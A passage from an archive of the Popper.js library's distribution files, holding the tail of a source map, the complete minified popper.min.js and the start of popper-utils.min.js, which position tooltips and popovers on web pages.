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"}umd/popper.min.js000064400000050210151677356750010002 0ustar00/*
 Copyright (C) Federico Zivolo 2018
 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
 */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=e.ownerDocument.defaultView,n=o.getComputedStyle(e,null);return t?n[t]:n}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll|overlay)/.test(r+s+p)?e:n(o(e))}function r(e){return 11===e?re:10===e?pe:re||pe}function p(e){if(!e)return document.documentElement;for(var o=r(10)?document.body:null,n=e.offsetParent||null;n===o&&e.nextElementSibling;)n=(e=e.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TH','TD','TABLE'].indexOf(n.nodeName)&&'static'===t(n,'position')?p(n):n:e?e.ownerDocument.documentElement:document.documentElement}function s(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||p(e.firstElementChild)===e)}function d(e){return null===e.parentNode?e:d(e.parentNode)}function a(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,n=o?e:t,i=o?t:e,r=document.createRange();r.setStart(n,0),r.setEnd(i,0);var l=r.commonAncestorContainer;if(e!==l&&t!==l||n.contains(i))return s(l)?l:p(l);var f=d(e);return f.host?a(f.host,t):a(e,d(t).host)}function l(e){var t=1<arguments.length&&void 0!==arguments[1]?arguments[1]:'top',o='top'===t?'scrollTop':'scrollLeft',n=e.nodeName;if('BODY'===n||'HTML'===n){var i=e.ownerDocument.documentElement,r=e.ownerDocument.scrollingElement||i;return r[o]}return e[o]}function f(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],n=l(t,'top'),i=l(t,'left'),r=o?-1:1;return e.top+=n*r,e.bottom+=n*r,e.left+=i*r,e.right+=i*r,e}function m(e,t){var o='x'===t?'Left':'Top',n='Left'==o?'Right':'Bottom';return parseFloat(e['border'+o+'Width'],10)+parseFloat(e['border'+n+'Width'],10)}function h(e,t,o,n){return J(t['offset'+e],t['scroll'+e],o['client'+e],o['offset'+e],o['scroll'+e],r(10)?parseInt(o['offset'+e])+parseInt(n['margin'+('Height'===e?'Top':'Left')])+parseInt(n['margin'+('Height'===e?'Bottom':'Right')]):0)}function c(e){var t=e.body,o=e.documentElement,n=r(10)&&getComputedStyle(o);return{height:h('Height',t,o,n),width:h('Width',t,o,n)}}function g(e){return le({},e,{right:e.left+e.width,bottom:e.top+e.height})}function u(e){var o={};try{if(r(10)){o=e.getBoundingClientRect();var n=l(e,'top'),i=l(e,'left');o.top+=n,o.left+=i,o.bottom+=n,o.right+=i}else o=e.getBoundingClientRect()}catch(t){}var p={left:o.left,top:o.top,width:o.right-o.left,height:o.bottom-o.top},s='HTML'===e.nodeName?c(e.ownerDocument):{},d=s.width||e.clientWidth||p.right-p.left,a=s.height||e.clientHeight||p.bottom-p.top,f=e.offsetWidth-d,h=e.offsetHeight-a;if(f||h){var u=t(e);f-=m(u,'x'),h-=m(u,'y'),p.width-=f,p.height-=h}return g(p)}function b(e,o){var i=2<arguments.length&&void 0!==arguments[2]&&arguments[2],p=r(10),s='HTML'===o.nodeName,d=u(e),a=u(o),l=n(e),m=t(o),h=parseFloat(m.borderTopWidth,10),c=parseFloat(m.borderLeftWidth,10);i&&s&&(a.top=J(a.top,0),a.left=J(a.left,0));var b=g({top:d.top-a.top-h,left:d.left-a.left-c,width:d.width,height:d.height});if(b.marginTop=0,b.marginLeft=0,!p&&s){var y=parseFloat(m.marginTop,10),w=parseFloat(m.marginLeft,10);b.top-=h-y,b.bottom-=h-y,b.left-=c-w,b.right-=c-w,b.marginTop=y,b.marginLeft=w}return(p&&!i?o.contains(l):o===l&&'BODY'!==l.nodeName)&&(b=f(b,o)),b}function y(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],o=e.ownerDocument.documentElement,n=b(e,o),i=J(o.clientWidth,window.innerWidth||0),r=J(o.clientHeight,window.innerHeight||0),p=t?0:l(o),s=t?0:l(o,'left'),d={top:p-n.top+n.marginTop,left:s-n.left+n.marginLeft,width:i,height:r};return g(d)}function w(e){var n=e.nodeName;return'BODY'===n||'HTML'===n?!1:'fixed'===t(e,'position')||w(o(e))}function E(e){if(!e||!e.parentElement||r())return document.documentElement;for(var o=e.parentElement;o&&'none'===t(o,'transform');)o=o.parentElement;return o||document.documentElement}function v(e,t,i,r){var p=4<arguments.length&&void 0!==arguments[4]&&arguments[4],s={top:0,left:0},d=p?E(e):a(e,t);if('viewport'===r)s=y(d,p);else{var l;'scrollParent'===r?(l=n(o(t)),'BODY'===l.nodeName&&(l=e.ownerDocument.documentElement)):'window'===r?l=e.ownerDocument.documentElement:l=r;var f=b(l,d,p);if('HTML'===l.nodeName&&!w(d)){var m=c(e.ownerDocument),h=m.height,g=m.width;s.top+=f.top-f.marginTop,s.bottom=h+f.top,s.left+=f.left-f.marginLeft,s.right=g+f.left}else s=f}i=i||0;var u='number'==typeof i;return s.left+=u?i:i.left||0,s.top+=u?i:i.top||0,s.right-=u?i:i.right||0,s.bottom-=u?i:i.bottom||0,s}function x(e){var t=e.width,o=e.height;return t*o}function O(e,t,o,n,i){var r=5<arguments.length&&void 0!==arguments[5]?arguments[5]:0;if(-1===e.indexOf('auto'))return e;var p=v(o,n,r,i),s={top:{width:p.width,height:t.top-p.top},right:{width:p.right-t.right,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return le({key:e},s[e],{area:x(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.width,n=e.height;return t>=o.clientWidth&&n>=o.clientHeight}),l=0<a.length?a[0].key:d[0].key,f=e.split('-')[1];return l+(f?'-'+f:'')}function L(e,t,o){var n=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null,i=n?E(t):a(t,o);return b(o,i,n)}function S(e){var t=e.ownerDocument.defaultView,o=t.getComputedStyle(e),n=parseFloat(o.marginTop)+parseFloat(o.marginBottom),i=parseFloat(o.marginLeft)+parseFloat(o.marginRight),r={width:e.offsetWidth+i,height:e.offsetHeight+n};return r}function T(e){var t={left:'right',right:'left',bottom:'top',top:'bottom'};return e.replace(/left|right|bottom|top/g,function(e){return t[e]})}function D(e,t,o){o=o.split('-')[0];var n=S(e),i={width:n.width,height:n.height},r=-1!==['right','left'].indexOf(o),p=r?'top':'left',s=r?'left':'top',d=r?'height':'width',a=r?'width':'height';return i[p]=t[p]+t[d]/2-n[d]/2,i[s]=o===s?t[s]-n[a]:t[T(s)],i}function C(e,t){return Array.prototype.find?e.find(t):e.filter(t)[0]}function N(e,t,o){if(Array.prototype.findIndex)return e.findIndex(function(e){return e[t]===o});var n=C(e,function(e){return e[t]===o});return e.indexOf(n)}function P(t,o,n){var i=void 0===n?t:t.slice(0,N(t,'name',n));return i.forEach(function(t){t['function']&&console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var n=t['function']||t.fn;t.enabled&&e(n)&&(o.offsets.popper=g(o.offsets.popper),o.offsets.reference=g(o.offsets.reference),o=n(o,t))}),o}function k(){if(!this.state.isDestroyed){var e={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};e.offsets.reference=L(this.state,this.popper,this.reference,this.options.positionFixed),e.placement=O(this.options.placement,e.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),e.originalPlacement=e.placement,e.positionFixed=this.options.positionFixed,e.offsets.popper=D(this.popper,e.offsets.reference,e.placement),e.offsets.popper.position=this.options.positionFixed?'fixed':'absolute',e=P(this.modifiers,e),this.state.isCreated?this.options.onUpdate(e):(this.state.isCreated=!0,this.options.onCreate(e))}}function W(e,t){return e.some(function(e){var o=e.name,n=e.enabled;return n&&o===t})}function H(e){for(var t=[!1,'ms','Webkit','Moz','O'],o=e.charAt(0).toUpperCase()+e.slice(1),n=0;n<t.length;n++){var i=t[n],r=i?''+i+o:e;if('undefined'!=typeof document.body.style[r])return r}return null}function B(){return this.state.isDestroyed=!0,W(this.modifiers,'applyStyle')&&(this.popper.removeAttribute('x-placement'),this.popper.style.position='',this.popper.style.top='',this.popper.style.left='',this.popper.style.right='',this.popper.style.bottom='',this.popper.style.willChange='',this.popper.style[H('transform')]=''),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function A(e){var t=e.ownerDocument;return t?t.defaultView:window}function M(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passive:!0}),r||M(n(p.parentNode),t,o,i),i.push(p)}function F(e,t,o,i){o.updateBound=i,A(e).addEventListener('resize',o.updateBound,{passive:!0});var r=n(e);return M(r,'scroll',o.updateBound,o.scrollParents),o.scrollElement=r,o.eventsEnabled=!0,o}function I(){this.state.eventsEnabled||(this.state=F(this.reference,this.options,this.state,this.scheduleUpdate))}function R(e,t){return A(e).removeEventListener('resize',t.updateBound),t.scrollParents.forEach(function(e){e.removeEventListener('scroll',t.updateBound)}),t.updateBound=null,t.scrollParents=[],t.scrollElement=null,t.eventsEnabled=!1,t}function U(){this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=R(this.reference,this.state))}function Y(e){return''!==e&&!isNaN(parseFloat(e))&&isFinite(e)}function V(e,t){Object.keys(t).forEach(function(o){var n='';-1!==['width','height','top','right','bottom','left'].indexOf(o)&&Y(t[o])&&(n='px'),e.style[o]=t[o]+n})}function j(e,t){Object.keys(t).forEach(function(o){var n=t[o];!1===n?e.removeAttribute(o):e.setAttribute(o,t[o])})}function q(e,t,o){var n=C(e,function(e){var o=e.name;return o===t}),i=!!n&&e.some(function(e){return e.name===o&&e.enabled&&e.order<n.order});if(!i){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return i}function K(e){return'end'===e?'start':'start'===e?'end':e}function G(e){var t=1<arguments.length&&void 0!==arguments[1]&&arguments[1],o=me.indexOf(e),n=me.slice(o+1).concat(me.slice(0,o));return t?n.reverse():n}function z(e,t,o,n){var i=e.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),r=+i[1],p=i[2];if(!r)return e;if(0===p.indexOf('%')){var s;switch(p){case'%p':s=o;break;case'%':case'%r':default:s=n;}var d=g(s);return d[t]/100*r}if('vh'===p||'vw'===p){var a;return a='vh'===p?J(document.documentElement.clientHeight,window.innerHeight||0):J(document.documentElement.clientWidth,window.innerWidth||0),a/100*r}return r}function _(e,t,o,n){var i=[0,0],r=-1!==['right','left'].indexOf(n),p=e.split(/(\+|\-)/).map(function(e){return e.trim()}),s=p.indexOf(C(p,function(e){return-1!==e.search(/,|\s/)}));p[s]&&-1===p[s].indexOf(',')&&console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');var d=/\s*,\s*|\s+/,a=-1===s?[p]:[p.slice(0,s).concat([p[s].split(d)[0]]),[p[s].split(d)[1]].concat(p.slice(s+1))];return a=a.map(function(e,n){var i=(1===n?!r:r)?'height':'width',p=!1;return e.reduce(function(e,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return z(e,i,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,n){Y(o)&&(i[t]+=o*('-'===e[n-1]?-1:1))})}),i}function X(e,t){var o,n=t.offset,i=e.placement,r=e.offsets,p=r.popper,s=r.reference,d=i.split('-')[0];return o=Y(+n)?[+n,0]:_(n,p,s,d),'left'===d?(p.top+=o[0],p.left-=o[1]):'right'===d?(p.top+=o[0],p.left+=o[1]):'top'===d?(p.left+=o[0],p.top-=o[1]):'bottom'===d&&(p.left+=o[0],p.top+=o[1]),e.popper=p,e}for(var Q=Math.min,Z=Math.round,$=Math.floor,J=Math.max,ee='undefined'!=typeof window&&'undefined'!=typeof document,te=['Edge','Trident','Firefox'],oe=0,ne=0;ne<te.length;ne+=1)if(ee&&0<=navigator.userAgent.indexOf(te[ne])){oe=1;break}var i=ee&&window.Promise,ie=i?function(e){var t=!1;return function(){t||(t=!0,window.Promise.resolve().then(function(){t=!1,e()}))}}:function(e){var t=!1;return function(){t||(t=!0,setTimeout(function(){t=!1,e()},oe))}},re=ee&&!!(window.MSInputMethodContext&&document.documentMode),pe=ee&&/MSIE 10/.test(navigator.userAgent),se=function(e,t){if(!(e instanceof t))throw new TypeError('Cannot call a class as a function')},de=function(){function e(e,t){for(var o,n=0;n<t.length;n++)o=t[n],o.enumerable=o.enumerable||!1,o.configurable=!0,'value'in o&&(o.writable=!0),Object.defineProperty(e,o.key,o)}return function(t,o,n){return o&&e(t.prototype,o),n&&e(t,n),t}}(),ae=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},le=Object.assign||function(e){for(var t,o=1;o<arguments.length;o++)for(var n in t=arguments[o],t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e},fe=['auto-start','auto','auto-end','top-start','top','top-end','right-start','right','right-end','bottom-end','bottom','bottom-start','left-end','left','left-start'],me=fe.slice(3),he={FLIP:'flip',CLOCKWISE:'clockwise',COUNTERCLOCKWISE:'counterclockwise'},ce=function(){function t(o,n){var i=this,r=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};se(this,t),this.scheduleUpdate=function(){return requestAnimationFrame(i.update)},this.update=ie(this.update.bind(this)),this.options=le({},t.Defaults,r),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=o&&o.jquery?o[0]:o,this.popper=n&&n.jquery?n[0]:n,this.options.modifiers={},Object.keys(le({},t.Defaults.modifiers,r.modifiers)).forEach(function(e){i.options.modifiers[e]=le({},t.Defaults.modifiers[e]||{},r.modifiers?r.modifiers[e]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(e){return le({name:e},i.options.modifiers[e])}).sort(function(e,t){return e.order-t.order}),this.modifiers.forEach(function(t){t.enabled&&e(t.onLoad)&&t.onLoad(i.reference,i.popper,i.options,t,i.state)}),this.update();var p=this.options.eventsEnabled;p&&this.enableEventListeners(),this.state.eventsEnabled=p}return de(t,[{key:'update',value:function(){return k.call(this)}},{key:'destroy',value:function(){return B.call(this)}},{key:'enableEventListeners',value:function(){return I.call(this)}},{key:'disableEventListeners',value:function(){return U.call(this)}}]),t}();return ce.Utils=('undefined'==typeof window?global:window).PopperUtils,ce.placements=fe,ce.Defaults={placement:'bottom',positionFixed:!1,eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(e){var t=e.placement,o=t.split('-')[0],n=t.split('-')[1];if(n){var i=e.offsets,r=i.reference,p=i.popper,s=-1!==['bottom','top'].indexOf(o),d=s?'left':'top',a=s?'width':'height',l={start:ae({},d,r[d]),end:ae({},d,r[d]+r[a]-p[a])};e.offsets.popper=le({},p,l[n])}return e}},offset:{order:200,enabled:!0,fn:X,offset:0},preventOverflow:{order:300,enabled:!0,fn:function(e,t){var o=t.boundariesElement||p(e.instance.popper);e.instance.reference===o&&(o=p(o));var n=H('transform'),i=e.instance.popper.style,r=i.top,s=i.left,d=i[n];i.top='',i.left='',i[n]='';var a=v(e.instance.popper,e.instance.reference,t.padding,o,e.positionFixed);i.top=r,i.left=s,i[n]=d,t.boundaries=a;var l=t.priority,f=e.offsets.popper,m={primary:function(e){var o=f[e];return f[e]<a[e]&&!t.escapeWithReference&&(o=J(f[e],a[e])),ae({},e,o)},secondary:function(e){var o='right'===e?'left':'top',n=f[o];return f[e]>a[e]&&!t.escapeWithReference&&(n=Q(f[o],a[e]-('right'===e?f.width:f.height))),ae({},o,n)}};return l.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';f=le({},f,m[t](e))}),e.offsets.popper=f,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=$,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]<r(n[d])&&(e.offsets.popper[d]=r(n[d])-o[a]),o[d]>r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var n;if(!q(e.instance.modifiers,'arrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',c=a?'bottom':'right',u=S(i)[l];d[c]-u<s[m]&&(e.offsets.popper[m]-=s[m]-(d[c]-u)),d[m]+u>s[c]&&(e.offsets.popper[m]+=d[m]+u-s[c]),e.offsets.popper=g(e.offsets.popper);var b=d[m]+d[l]/2-u/2,y=t(e.instance.popper),w=parseFloat(y['margin'+f],10),E=parseFloat(y['border'+f+'Width'],10),v=b-e.offsets.popper[m]-w-E;return v=J(Q(s[l]-u,v),0),e.arrowElement=i,e.offsets.arrow=(n={},ae(n,m,Z(v)),ae(n,h,''),n),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=v(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=T(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case he.FLIP:p=[n,i];break;case he.CLOCKWISE:p=G(n);break;case he.COUNTERCLOCKWISE:p=G(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=T(n);var a=e.offsets.popper,l=e.offsets.reference,f=$,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)<f(l.right)||'top'===n&&f(a.bottom)>f(l.top)||'bottom'===n&&f(a.top)<f(l.bottom),h=f(a.left)<f(o.left),c=f(a.right)>f(o.right),g=f(a.top)<f(o.top),u=f(a.bottom)>f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,y=-1!==['top','bottom'].indexOf(n),w=!!t.flipVariations&&(y&&'start'===r&&h||y&&'end'===r&&c||!y&&'start'===r&&g||!y&&'end'===r&&u);(m||b||w)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),w&&(r=K(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=le({},e.offsets.popper,D(e.instance.popper,e.offsets.reference,e.placement)),e=P(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport'},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=T(t),e.offsets.popper=g(i),e}},hide:{order:800,enabled:!0,fn:function(e){if(!q(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=C(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottom<o.top||t.left>o.right||t.top>o.bottom||t.right<o.left){if(!0===e.hide)return e;e.hide=!0,e.attributes['x-out-of-boundaries']=''}else{if(!1===e.hide)return e;e.hide=!1,e.attributes['x-out-of-boundaries']=!1}return e}},computeStyle:{order:850,enabled:!0,fn:function(e,t){var o=t.x,n=t.y,i=e.offsets.popper,r=C(e.instance.modifiers,function(e){return'applyStyle'===e.name}).gpuAcceleration;void 0!==r&&console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');var s,d,a=void 0===r?t.gpuAcceleration:r,l=p(e.instance.popper),f=u(l),m={position:i.position},h={left:$(i.left),top:Z(i.top),bottom:Z(i.bottom),right:$(i.right)},c='bottom'===o?'top':'bottom',g='right'===n?'left':'right',b=H('transform');if(d='bottom'==c?'HTML'===l.nodeName?-l.clientHeight+h.bottom:-f.height+h.bottom:h.top,s='right'==g?'HTML'===l.nodeName?-l.clientWidth+h.right:-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[g]=0,m.willChange='transform';else{var y='bottom'==c?-1:1,w='right'==g?-1:1;m[c]=d*y,m[g]=s*w,m.willChange=c+', '+g}var E={"x-placement":e.placement};return e.attributes=le({},E,e.attributes),e.styles=le({},m,e.styles),e.arrowStyles=le({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return V(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&V(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,n,i){var r=L(i,t,e,o.positionFixed),p=O(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),V(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAcceleration:void 0}}},ce});
//# sourceMappingURL=popper.min.js.map
umd/popper-utils.min.js000064400000024705151677356750011152 0ustar00/*
 Copyright (C) Federico Zivolo 2018
 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).
 */(function(a,b){'object'==typeof exports&&'undefined'!=typeof module?b(exports):'function'==typeof define&&define.amd?define(['exports'],b):b(a.PopperUtils={})})(this,function(a){'use strict';function b(a,b){if(1!==a.nodeType)return[];var c=a.ownerDocument.defaultView,d=c.getComputedStyle(a,null);return b?d[b]:d}function c(a){return'HTML'===a.nodeName?a:a.parentNode||a.host}function d(a){if(!a)return document.body;switch(a.nodeName){case'HTML':case'BODY':return a.ownerDocument.body;case'#document':return a.body;}var e=b(a),f=e.overflow,g=e.overflowX,h=e.overflowY;return /(auto|scroll|overlay)/.test(f+h+g)?a:d(c(a))}function e(a){return 11===a?T:10===a?U:T||U}function f(a){if(!a)return document.documentElement;for(var c=e(10)?document.body:null,d=a.offsetParent||null;d===c&&a.nextElementSibling;)d=(a=a.nextElementSibling).offsetParent;var g=d&&d.nodeName;return g&&'BODY'!==g&&'HTML'!==g?-1!==['TH','TD','TABLE'].indexOf(d.nodeName)&&'static'===b(d,'position')?f(d):d:a?a.ownerDocument.documentElement:document.documentElement}function g(a){var b=a.nodeName;return'BODY'!==b&&('HTML'===b||f(a.firstElementChild)===a)}function h(a){return null===a.parentNode?a:h(a.parentNode)}function j(a,b){if(!a||!a.nodeType||!b||!b.nodeType)return document.documentElement;var c=a.compareDocumentPosition(b)&Node.DOCUMENT_POSITION_FOLLOWING,d=c?a:b,e=c?b:a,i=document.createRange();i.setStart(d,0),i.setEnd(e,0);var k=i.commonAncestorContainer;if(a!==k&&b!==k||d.contains(e))return g(k)?k:f(k);var l=h(a);return l.host?j(l.host,b):j(a,h(b).host)}function k(a){var b=1<arguments.length&&arguments[1]!==void 0?arguments[1]:'top',c='top'===b?'scrollTop':'scrollLeft',d=a.nodeName;if('BODY'===d||'HTML'===d){var e=a.ownerDocument.documentElement,f=a.ownerDocument.scrollingElement||e;return f[c]}return a[c]}function l(a,b){var c=2<arguments.length&&void 0!==arguments[2]&&arguments[2],d=k(b,'top'),e=k(b,'left'),f=c?-1:1;return a.top+=d*f,a.bottom+=d*f,a.left+=e*f,a.right+=e*f,a}function m(a,b){var c='x'===b?'Left':'Top',d='Left'==c?'Right':'Bottom';return parseFloat(a['border'+c+'Width'],10)+parseFloat(a['border'+d+'Width'],10)}function n(a,b,c,d){return R(b['offset'+a],b['scroll'+a],c['client'+a],c['offset'+a],c['scroll'+a],e(10)?parseInt(c['offset'+a])+parseInt(d['margin'+('Height'===a?'Top':'Left')])+parseInt(d['margin'+('Height'===a?'Bottom':'Right')]):0)}function o(a){var b=a.body,c=a.documentElement,d=e(10)&&getComputedStyle(c);return{height:n('Height',b,c,d),width:n('Width',b,c,d)}}function p(a){return V({},a,{right:a.left+a.width,bottom:a.top+a.height})}function q(a){var 